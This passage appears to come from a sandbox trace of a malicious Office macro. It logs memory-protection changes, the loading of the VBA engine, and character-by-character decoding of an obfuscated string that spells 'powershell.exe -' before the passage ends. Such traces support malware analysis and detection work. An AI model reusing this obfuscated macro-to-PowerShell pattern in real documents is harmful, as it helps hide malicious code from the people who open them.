lpflOldProtect=0x17c3ec | out: lpflOldProtect=0x17c3ec*=0x40) returned 1 [0068.883] GetCurrentProcess () returned 0xffffffffffffffff [0068.883] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6429, dwSize=0x8) returned 1 [0068.883] GetCurrentProcess () returned 0xffffffffffffffff [0068.883] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6428, dwSize=0x8) returned 1 [0068.883] GetCurrentProcess () returned 0xffffffffffffffff [0068.883] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6438, dwSize=0x2) returned 1 [0068.883] GetCurrentProcess () returned 0xffffffffffffffff [0068.883] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6490, dwSize=0x5d) returned 1 [0068.883] VirtualProtect (in: lpAddress=0xaeb6490, dwSize=0x60, flNewProtect=0x40, lpflOldProtect=0x17c3ec | out: lpflOldProtect=0x17c3ec*=0x40) returned 1 [0068.884] GetCurrentProcess () returned 0xffffffffffffffff [0068.884] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6521, dwSize=0x8) returned 1 [0068.884] GetCurrentProcess () returned 0xffffffffffffffff [0068.884] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6520, dwSize=0x8) returned 1 [0068.884] GetCurrentProcess () returned 0xffffffffffffffff [0068.884] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6530, dwSize=0x2) returned 1 [0068.884] GetCurrentProcess () returned 0xffffffffffffffff [0068.884] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb65fc, dwSize=0x55) returned 1 [0068.884] VirtualProtect (in: lpAddress=0xaeb65fc, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x17c3ec | out: lpflOldProtect=0x17c3ec*=0x40) returned 1 [0068.885] SetErrorMode (uMode=0x8001) returned 0x8001 [0068.885] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0068.885] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0068.886] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900000c64) returned 1 [0068.886] SetErrorMode (uMode=0x8001) returned 0x8001 [0068.887] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x277) returned 0x7fee5a6d690 [0068.887] GetCurrentProcess () returned 0xffffffffffffffff [0068.887] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb7184, dwSize=0x4b) returned 1 [0068.887] RtlLookupFunctionEntry (in: ControlPc=0xaeb7184, ImageBase=0x17c278, HistoryTable=0x17c280 | out: ImageBase=0x17c278, HistoryTable=0x17c280) returned 0x0 [0068.887] VirtualProtect (in: lpAddress=0xaeb7184, dwSize=0x4c, flNewProtect=0x40, lpflOldProtect=0x17c37c | out: lpflOldProtect=0x17c37c*=0x4) returned 1 [0068.888] RtlAddFunctionTable (FunctionTable=0xaeb71dc, EntryCount=0x1, BaseAddress=0xaeb7100, TargetGp=0x17c37c) returned 1 [0068.888] SetErrorMode (uMode=0x8001) returned 0x8001 [0068.888] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0068.888] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0068.888] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900000c65) returned 1 [0068.888] SetErrorMode (uMode=0x8001) returned 0x8001 [0068.889] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x245) returned 0x7fee5a6a6c8 [0068.889] GetCurrentProcess () returned 0xffffffffffffffff [0068.889] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb7254, dwSize=0x3b) returned 1 [0068.889] RtlLookupFunctionEntry (in: ControlPc=0xaeb7254, ImageBase=0x17c278, HistoryTable=0x17c280 | out: ImageBase=0x17c278, HistoryTable=0x17c280) returned 0x0 [0068.889] VirtualProtect (in: lpAddress=0xaeb7254, dwSize=0x3c, flNewProtect=0x40, lpflOldProtect=0x17c37c | out: lpflOldProtect=0x17c37c*=0x40) returned 1 [0068.890] RtlAddFunctionTable (FunctionTable=0xaeb729c, EntryCount=0x1, BaseAddress=0xaeb7200, TargetGp=0x17c37c) returned 1 [0068.890] IUnknown:AddRef (This=0xb481318) returned 0x3 [0068.890] IUnknown:QueryInterface (in: This=0xb481318, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a8 | out: ppvObject=0x17d7a8*=0x0) returned 0x80004002 [0068.890] IUnknown:QueryInterface (in: This=0xb481318, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a0 | out: ppvObject=0x17d7a0*=0x0) returned 0x80004002 [0068.890] IUnknown:Release (This=0xb481318) returned 0x2 [0068.890] IUnknown:AddRef (This=0xb481370) returned 0x6 [0068.890] IUnknown:QueryInterface (in: This=0xb481370, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a8 | out: ppvObject=0x17d7a8*=0x0) returned 0x80004002 [0068.890] IUnknown:QueryInterface (in: This=0xb481370, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a0 | out: ppvObject=0x17d7a0*=0x0) returned 0x80004002 [0068.890] IUnknown:Release (This=0xb481370) returned 0x5 [0068.890] IUnknown:AddRef (This=0xb481268) returned 0x2 [0068.890] IUnknown:QueryInterface (in: This=0xb481268, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a8 | out: ppvObject=0x17d7a8*=0x0) returned 0x80004002 [0068.890] IUnknown:QueryInterface (in: This=0xb481268, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a0 | out: ppvObject=0x17d7a0*=0x0) returned 0x80004002 [0068.890] IUnknown:Release (This=0xb481268) returned 0x1 [0068.891] IUnknown:AddRef (This=0xb563e98) returned 0x3 [0068.891] IUnknown:QueryInterface (in: This=0xb563e98, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a8 | out: ppvObject=0x17d7a8*=0x0) returned 0x80004002 [0068.891] IUnknown:QueryInterface (in: This=0xb563e98, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a0 | out: ppvObject=0x17d7a0*=0x0) returned 0x80004002 [0068.891] IUnknown:Release (This=0xb563e98) returned 0x2 [0068.891] IUnknown:AddRef (This=0xb564418) returned 0x6 [0068.891] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a8 | out: ppvObject=0x17d7a8*=0x0) returned 0x80004002 [0068.891] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a0 | out: ppvObject=0x17d7a0*=0x0) returned 0x80004002 [0068.891] IUnknown:Release (This=0xb564418) returned 0x5 [0068.891] IUnknown:AddRef (This=0xb564470) returned 0x3 [0068.891] IUnknown:QueryInterface (in: This=0xb564470, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a8 | out: ppvObject=0x17d7a8*=0x0) returned 0x80004002 [0068.891] IUnknown:QueryInterface (in: This=0xb564470, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d7a0 | out: ppvObject=0x17d7a0*=0x0) returned 0x80004002 [0068.891] IUnknown:Release (This=0xb564470) returned 0x2 [0068.891] GetAsyncKeyState (vKey=27) returned 0 [0068.891] VarBstrCat (in: bstrLeft="&H", bstrRight="3B", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.891] VarParseNumFromStr (in: strIn="&H3B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.893] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="K", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="K\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x4e1a188, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0068.893] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.893] VarBstrCat (in: bstrLeft="&H", bstrRight="23", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.893] VarParseNumFromStr (in: strIn="&H23", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.894] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="L", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="L\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x4e1a0c8, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0068.894] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.894] VarBstrCat (in: bstrLeft="&H", bstrRight="36", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.894] VarParseNumFromStr (in: strIn="&H36", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.894] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0068.894] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.895] VarBstrCat (in: bstrLeft="&H", bstrRight="29", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.895] VarParseNumFromStr (in: strIn="&H29", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.895] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="L", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="L\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x4e1a0c8, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0068.895] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.895] VarBstrCat (in: bstrLeft="&H", bstrRight="38", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.895] VarParseNumFromStr (in: strIn="&H38", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.895] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="J", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="J\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0068.896] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.896] VarBstrCat (in: bstrLeft="&H", bstrRight="20", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.896] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.896] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x4e1a0c8, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0068.897] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.897] VarBstrCat (in: bstrLeft="&H", bstrRight="2E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.897] VarParseNumFromStr (in: strIn="&H2E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.897] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0068.897] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.897] VarBstrCat (in: bstrLeft="&H", bstrRight="21", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.898] VarParseNumFromStr (in: strIn="&H21", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.898] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x4e1a0c8, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0068.898] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.898] VarBstrCat (in: bstrLeft="&H", bstrRight="3F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.898] VarParseNumFromStr (in: strIn="&H3F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.898] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0068.899] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.899] VarBstrCat (in: bstrLeft="&H", bstrRight="2D", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.899] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.899] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x4e1a0c8, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0068.899] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.899] VarBstrCat (in: bstrLeft="&H", bstrRight="68", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.899] VarParseNumFromStr (in: strIn="&H68", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.899] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0068.900] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.900] VarBstrCat (in: bstrLeft="&H", bstrRight="24", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.900] VarParseNumFromStr (in: strIn="&H24", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.900] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x4e1a0c8, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0068.900] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.901] VarBstrCat (in: bstrLeft="&H", bstrRight="2B", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.901] VarParseNumFromStr (in: strIn="&H2B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.901] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="x") returned 1 [0068.901] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.901] VarBstrCat (in: bstrLeft="&H", bstrRight="23", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.901] VarParseNumFromStr (in: strIn="&H23", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.901] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x4e1a188, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0068.902] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.902] VarBstrCat (in: bstrLeft="&H", bstrRight="71", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.902] VarParseNumFromStr (in: strIn="&H71", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.902] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Q", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Q\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0068.902] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.903] VarBstrCat (in: bstrLeft="&H", bstrRight="7A", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.903] VarParseNumFromStr (in: strIn="&H7A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.903] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="W", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="W\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="-") returned 1 [0068.903] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.903] VarBstrCat (in: bstrLeft="&H", bstrRight="23", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.903] VarParseNumFromStr (in: strIn="&H23", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.903] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 